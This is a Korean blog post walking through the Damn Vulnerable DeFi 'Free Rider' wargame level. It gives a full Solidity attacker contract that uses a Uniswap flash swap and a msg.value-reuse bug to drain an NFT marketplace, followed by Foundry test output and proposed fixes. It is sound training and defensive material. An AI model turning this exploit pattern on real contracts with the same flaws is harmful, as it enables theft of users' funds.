티스토리 뷰
문제
취약점
msg.value의 잘못된 사용
FreeRiderNFTMarketplace 컨트랙트의 취약점은 buyMany 함수에서 호출된 _buyOne 함수에서 msg.value를 그대로 사용하는 데 있습니다. 예를 들어, buyMany 함수를 호출할 때 15 이더를 함께 보낸다면 반복문을 통해 호출되는 모든 _buyOne 함수에서의 msg.value는 15 이더로 읽히게 됩니다. 이렇게 되면 6개의 NFT를 구매하기 위해서 90 이더가 필요함에도 불구하고 buyMany 함수로 15 이더만 보낸다면 _buyOne 함수에서는 각 NFT를 구매할 수 있는 조건이 만족되므로 6개의 NFT를 모두 구매할 수 있게 됩니다.
function buyMany(uint256[] calldata tokenIds) external payable nonReentrant {
for (uint256 i = 0; i < tokenIds.length;) {
unchecked {
_buyOne(tokenIds[i]);
++i;
}
}
}
function _buyOne(uint256 tokenId) private {
uint256 priceToPay = offers[tokenId];
if (priceToPay == 0) {
revert TokenNotOffered(tokenId);
}
if (msg.value < priceToPay) {
revert InsufficientPayment();
}
...
}
구매자에게 돌아가는 판매 대금
구매자에게 토큰을 먼저 전송한 뒤에 해당 토큰의 소유자를 읽어오는 경우, 구매자의 주소가 반환됩니다. 이로 인해 구매자에게 판매 대금을 전송하는 문제가 발생합니다. 15 이더로 모든 토큰을 구매할 수 있을 뿐만 아니라, 판매 대금을 합한 90 이더를 돌려받을 수 있기 때문에 구매자는 오히려 75 이더라는 손익이 발생하게 됩니다. 물론 컨트랙트에 충분한 자금이 들어있는 경우에나 가능하지만, 이런 공격이 가능하다는 것 자체가 굉장히 치명적인 것이겠죠.
// transfer from seller to buyer
DamnValuableNFT _token = token; // cache for gas savings
_token.safeTransferFrom(_token.ownerOf(tokenId), msg.sender, tokenId);
// pay seller using cached token
payable(_token.ownerOf(tokenId)).sendValue(priceToPay);
고민
이를 활용해 마켓플레이스에서 모든 NFT를 구매한 다음, FreeRiderRecovery 컨트랙트로 구매한 NFT를 전송하면 됩니다.
문제는 공격자의 초기 자금이 0.1 이더뿐이라 NFT를 구매할 수 없다는 것입니다. 어떻게든 15 이더를 마련해야 보상금 45 이더를 받을 수 있을 텐데 말이죠...
여기서 활용할 수 있는 것이 UniswapV2Pair 컨트랙트를 사용해 플래시 스왑을 실행하는 것입니다. 플래시 스왑을 사용하여 유동성 풀로부터 15 이더의 자금을 빌릴 수 있습니다. 다만 빌린 자금은 동일한 트랜잭션 안에서 수수료를 포함하여 반환되어야만 합니다.
플래시 스왑을 실행하기 위해서는 IUniswapV2Callee 인터페이스를 구현해야 합니다. 인터페이스를 구현하려면 컨트랙트를 작성해야 하고, safeTransferFrom 함수로 컨트랙트가 ERC-721 토큰을 받는 경우에는 IERC721Receiver 인터페이스 또한 구현해야 합니다.
interface IUniswapV2Callee {
function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external;
}
interface IERC721Receiver {
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data)
external
returns (bytes4);
}
이제 두 개의 인터페이스를 구현한 컨트랙트를 작성해 보겠습니다.
공격
contract Attacker is IUniswapV2Callee, IERC721Receiver {
uint256 private constant _NFT_PRICE = 15 ether;
IUniswapV2Pair private _uniswapV2Pair;
WETH9 private _weth;
FreeRiderNFTMarketplace private _freeRiderNFTMarketplace;
FreeRiderRecovery private _freeRiderRecovery;
DamnValuableNFT private _damnValuableNFT;
address private _owner;
constructor(
address uniswapV2Pair,
address weth,
address freeRiderNFTMarketplace,
address freeRiderRecovery,
address damnValuableNFT
) {
_uniswapV2Pair = IUniswapV2Pair(uniswapV2Pair);
_weth = WETH9(payable(weth));
_freeRiderNFTMarketplace = FreeRiderNFTMarketplace(payable(freeRiderNFTMarketplace));
_freeRiderRecovery = FreeRiderRecovery(freeRiderRecovery);
_damnValuableNFT = DamnValuableNFT(damnValuableNFT);
_owner = msg.sender;
}
function attack() external {
address token0 = _uniswapV2Pair.token0();
(uint256 amount0Out, uint256 amount1Out) = token0 == address(_weth) ? (_NFT_PRICE, uint256(0)) : (0, _NFT_PRICE);
_uniswapV2Pair.swap(amount0Out, amount1Out, address(this), "attack");
}
function uniswapV2Call(address, uint256 amount0, uint256 amount1, bytes calldata) external override {
if (msg.sender != address(_uniswapV2Pair)) {
return;
}
uint256 wethAmount = amount0 > 0 ? amount0 : amount1;
if (wethAmount < _NFT_PRICE) {
return;
}
_weth.withdraw(wethAmount);
uint256[] memory tokenIds = new uint256[](6);
for (uint8 i = 0; i < 6;) {
tokenIds[i] = i;
unchecked {
++i;
}
}
_freeRiderNFTMarketplace.buyMany{value: wethAmount}(tokenIds);
uint256 payback = (_NFT_PRICE * 1000 / 997) + 1;
_weth.deposit{value: payback}();
_weth.transfer(address(_uniswapV2Pair), payback);
for (uint8 i = 0; i < 6;) {
_damnValuableNFT.approve(_owner, i);
bytes memory callData = abi.encodeWithSignature(
"safeTransferFrom(address,address,uint256,bytes)",
address(this),
address(_freeRiderRecovery),
i,
abi.encode(address(this))
);
(bool success,) = address(_damnValuableNFT).call(callData);
if (!success) {
revert("Transfer failed");
}
unchecked {
++i;
}
}
(bool success,) = _owner.call{value: address(this).balance}("");
if (!success) {
revert("Transfer failed");
}
}
function onERC721Received(address, address, uint256, bytes calldata) external override returns (bytes4) {
return IERC721Receiver.onERC721Received.selector;
}
receive() external payable {}
fallback() external payable {}
}
vm.startPrank(attacker, attacker);
// Deploy the attacker contract
Attacker attackerContract = new Attacker(
address(uniswapV2Pair),
address(weth),
address(freeRiderNFTMarketplace),
address(freeRiderRecovery),
address(damnValuableNFT)
);
vm.label(address(attackerContract), "Attacker Contract");
attackerContract.attack();
vm.stopPrank();
우선 서명자를 attacker로 변경해 줍니다. 이 때 인수로 attacker가 두 번 전달되는 이유는 tx.origin을 foundry default address가 아닌 attacker로 변경하기 위함입니다.
vm.startPrank(attacker, attacker);
Attacker 컨트랙트를 배포하고 attack 함수를 호출합니다.
Attacker attackerContract = new Attacker(...);
attackerContract.attack();
attack 함수는 플래시 스왑으로 WETH-DVT 페어 풀로부터 15 WETH를 빌립니다. UniswapV2부터는 이더를 직접 빌릴 수 없고 Wrapped ETH(WETH)를 빌려 이더로 교환해야 합니다.
function attack() external {
address token0 = _uniswapV2Pair.token0();
(uint256 amount0Out, uint256 amount1Out) = token0 == address(_weth) ? (_NFT_PRICE, uint256(0)) : (0, _NFT_PRICE);
_uniswapV2Pair.swap(amount0Out, amount1Out, address(this), "attack");
}
UniswapV2Pair 컨트랙트에서 Attacker 컨트랙트로 15 WETH를 전송한 다음, Attacker 컨트랙트의 uniswapV2Call 함수를 호출합니다. uniswapV2Call 함수가 호출되면 우선 빌린 WETH를 이더로 교환합니다. 이로써 Attacker 컨트랙트는 15 이더를 가지게 됩니다. 한 가지 주의할 점은 다른 계정으로부터 이더를 받으려면 반드시 fallback 함수가 구현되어 있어야 한다는 것입니다.
function uniswapV2Call(address, uint256 amount0, uint256 amount1, bytes calldata) external override {
if (msg.sender != address(_uniswapV2Pair)) {
return;
}
uint256 wethAmount = amount0 > 0 ? amount0 : amount1;
if (wethAmount < _NFT_PRICE) {
return;
}
_weth.withdraw(wethAmount);
...
}
receive() external payable {}
fallback() external payable {}
이제 FreeRiderNFTMarketplace 컨트랙트의 buyMany 함수를 호출하여 6개의 NFT를 모두 구매합니다. 이때 앞서 교환한 15 이더를 value로 지정하여 함께 보냅니다.
uint256[] memory tokenIds = new uint256[](6);
for (uint8 i = 0; i < 6;) {
tokenIds[i] = i;
unchecked {
++i;
}
}
_freeRiderNFTMarketplace.buyMany{value: wethAmount}(tokenIds);
FreeRiderNFTMarketplace의 _buyOne 함수에서 safeTransferFrom이 호출될 때마다 Attacker의 onERC721Received 함수가 호출됩니다. 여기서는 단순히 onERC721Received 함수의 선택자를 반환하여 처리해 줍니다.
function onERC721Received(address, address, uint256, bytes calldata) external override returns (bytes4) {
return IERC721Receiver.onERC721Received.selector;
}
6개의 NFT를 모두 구매하고 나면 컨트랙트에는 마켓플레이스로부터 구매자에게 판매 대금으로 전송된 90 이더가 들어오게 됩니다. 잊어버리기 전에 미리미리 UniswapV2Pair로부터 플래시 스왑으로 빌린 WETH를 돌려줍니다. 동일한 자산(WETH)로 돌려줘야 하므로 0.3009%의 수수료를 더하여 환전한 뒤, UniswapV2Pair 컨트랙트로 전송합니다.
uint256 payback = (_NFT_PRICE * 1000 / 997) + 1;
_weth.deposit{value: payback}();
_weth.transfer(address(_uniswapV2Pair), payback);
이제 구매한 NFT를 FreeRiderRecovery로 전송합니다. 주의할 점은 FreeRiderRecovery 컨트랙트의 onERC721Received 함수가 호출되어야 하므로 'safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)'를 호출하여 토큰을 전송해 줍니다. 이 때 인수로 들어가는 data는 Attacker 컨트랙트의 주소입니다.
for (uint8 i = 0; i < 6;) {
_damnValuableNFT.safeTransferFrom(address(this), address(_freeRiderRecovery), i, abi.encode(address(this)));
unchecked {
++i;
}
}
FreeRiderRecovery로 5개의 NFT가 전송되고 마지막 6 번째 NFT가 전송되면 data로 전달된 Attacker 컨트랙트의 주소로 보상금 45 이더가 전송됩니다.
if (++received == 6) {
address recipient = abi.decode(_data, (address));
payable(recipient).sendValue(PRIZE);
}
uniswapV2Call 함수의 마지막에서는 컨트랙트가 가지고 있는 모든 이더를 공격자에게 전송합니다. 약 119.9 이더 정도가 전송될 것입니다.
(bool success,) = _owner.call{value: address(this).balance}("");
if (!success) {
revert("Transfer failed");
}
테스트 실행
$ make FreeRider
forge test --match-test testExploit --match-contract FreeRider
[⠑] Compiling...
[⠘] Compiling 1 files with 0.8.17
[⠃] Solc 0.8.17 finished in 2.05s
...
Ran 1 test for test/Levels/10.free-rider/FreeRider.t.sol:FreeRider
[PASS] testExploit() (gas: 1057024)
Logs:
🧨 Let's see if you can break it... 🧨
🎉 Congratulations, you can go to the next level! 🎉
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.07ms
Ran 1 test suite in 6.07ms: 1 tests passed, 0 failed, 0 skipped (1 total tests)
개선안
1. 개선안이라기 보다는 마땅히 해야될 부분인데 아무래도 가스비를 줄인다고 기교를 부리느라 간과한 부분이지 않을까 싶습니다. 가스비 최적화보다 중요한 것이 보안적인 요소라는 것! msg.value를 미리 확인하고 빠르게 revert하는 것도 나쁘지 않을 것 같습니다.
function buyMany(uint256[] calldata tokenIds) external payable nonReentrant {
uint256 totalValue = msg.value;
if (totalValue == 0) {
revert InsufficientPayment();
}
uint256 requiredValue;
for (uint256 i = 0; i < tokenIds.length;) {
requiredValue += offers[tokenIds[i]];
++i;
}
if (totalValue < requiredValue) {
revert InsufficientPayment();
}
...
}
2. 판매 대금을 전송할 때는 이전 소유자의 주소를 메모리에 저장해 놨다가 토큰을 전송하고 새로 소유주 값을 읽어오는 대신 메모리에 저장된 이전 소유자의 주소를 사용하여 판매 대금을 전송하는 것이 바람직합니다.
// transfer from seller to buyer
DamnValuableNFT _token = token; // cache for gas savings
address previousOwner = _token.ownerOf(tokenId);
_token.safeTransferFrom(_token.ownerOf(tokenId), msg.sender, tokenId);
// pay seller using cached token
payable(previousOwner).sendValue(priceToPay);
전체 코드
'Solidity > Hacking' 카테고리의 다른 글
[Damn Vulnerable DeFi] Climber (0) | 2024.04.11 |
---|---|
[Damn Vulnerable DeFi] Backdoor (0) | 2024.03.02 |
[Damn Vulnerable DeFi] Puppet V2 (0) | 2024.02.29 |
[Damn Vulnerable DeFi] Puppet (1) | 2024.02.28 |
[Damn Vulnerable DeFi] Compromised (1) | 2024.02.27 |